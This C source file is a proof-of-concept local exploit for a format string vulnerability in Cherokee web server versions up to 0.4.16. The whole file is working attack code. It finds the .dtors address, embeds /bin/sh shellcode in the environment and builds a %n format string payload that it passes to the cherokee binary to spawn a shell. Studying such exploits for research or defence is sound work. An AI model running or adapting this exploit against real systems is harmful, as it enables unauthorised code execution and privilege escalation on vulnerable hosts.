/* cherokee_exp.c
   
   Cherokee Web Server Format String Vulnerability
   
   Cherokee <= 0.4.16 local exploit (Proof of Concept)
   
   Tested in Slackware 9.0.0 and Slackware 9.1.0
     
   by CoKi <coki@nosystem.com.ar>
   No System Group - http://www.nosystem.com.ar
*/

#include <stdio.h>
#include <string.h>

#define PATH "/usr/local/bin/cherokee"
#define OBJDUMP "/usr/bin/objdump"
#define GREP "/usr/bin/grep"

unsigned char shellcode[]=  /* aleph1 shellcode.45b */
  "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c"
  "\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb"
  "\x89\xd8\x40\xcd\x80\xe8\xdc\xff\xff\xff\x2f\x62\x69\x6e"
  "\x2f\x73\x68";
  
int check(unsigned long addr);

int main(int argc, char *argv[]) {
  
  int i, dtorsaddr;
  unsigned int bal1, bal2, bal3, bal4;
  char temp[512];
  char buffer[1024];
  char nop1[255], nop2[255];
  char nop3[255], nop4[255];
  int cn1, cn2, cn3, cn4;
  FILE *f;
  char *env[3] = {shellcode, NULL};
  int shaddr = 0xbffffffa - strlen(shellcode) - strlen("/usr/local/bin/cherokee");
      
  /* finding .dtors address */
  sprintf(temp, "%s -s -j .dtors %s | %s ffffffff", OBJDUMP, PATH, GREP);
  f = popen(temp, "r");
  if(fscanf(f, " %08x", &dtorsaddr) != 1) {
    pclose(f);
    printf("Cannot find .dtors address\n");
    exit(1);
  }
  pclose(f);
  dtorsaddr = dtorsaddr + 4;
  
  printf("\n Cherokee <= 0.4.16 local exploit (Proof of Concept)\n");
  printf(" by CoKi <coki@nosystem.com.ar>\n\n");
  printf(" shellcode address = %.8p\n", shaddr);
  printf(" .dtors address    = %.8p\n\n", dtorsaddr);
  
  bzero(temp, sizeof(temp));
  bzero(buffer, sizeof(buffer));
      
  /* adding .dtors address */
  for(i = 0; i < 4; i++) {
    bzero(temp, sizeof(temp));
    sprintf(temp, "%s", &dtorsaddr);
    strncat(buffer, temp, 4);
    dtorsaddr++;
  }
  
  /* convert shellcode address location */
  memset(nop1, 0, 255);
  memset(nop2, 0, 255);
  memset(nop3, 0, 255);
  memset(nop4, 0, 255);
  
  bal1 = (shaddr & 0xff000000) >> 24;
  bal2 = (shaddr & 0x00ff0000) >> 16;
  bal3 = (shaddr & 0x0000ff00) >>  8;
  bal4 = (shaddr & 0x000000ff);
  
  cn1 = bal4 - 16 - 36 - 88 - 2;
  cn1 = check(cn1);
  cn2 = bal3 - bal4 - 2;
  cn2 = check(cn2);
  cn3 = bal2 - bal3 - 2;
  cn3 = check(cn3);
  cn4 = bal1 - bal2 - 2;
  cn4 = check(cn4);

  memset(nop1, '\x90', cn1);
  memset(nop2, '\x90', cn2);
  memset(nop3, '\x90', cn3);
  memset(nop4, '\x90', cn4);
  
  sprintf(temp, "%%08x%%08x%%08x%%08x%%08x%%08x"
                "%%08x%%08x%%08x%%08x%%08x"
                "%s\xeb\x02%%n"
                "%s\xeb\x02%%n"
                "%s\xeb\x02%%n"
                "%s\xeb\x02%%n\x90\x90\x90\x90"
                ,nop1, nop2, nop3, nop4);
                
  strcat(buffer, temp);
                                                                                                                                                     
  execle(PATH, "cherokee", "-C", buffer, NULL, env);
}

int check(unsigned long addr) {
  char tmp[128];
  snprintf(tmp, sizeof(tmp), "%d", addr);
  if(atoi(tmp) < 1)
    addr = addr + 256;
  
  return addr;
}

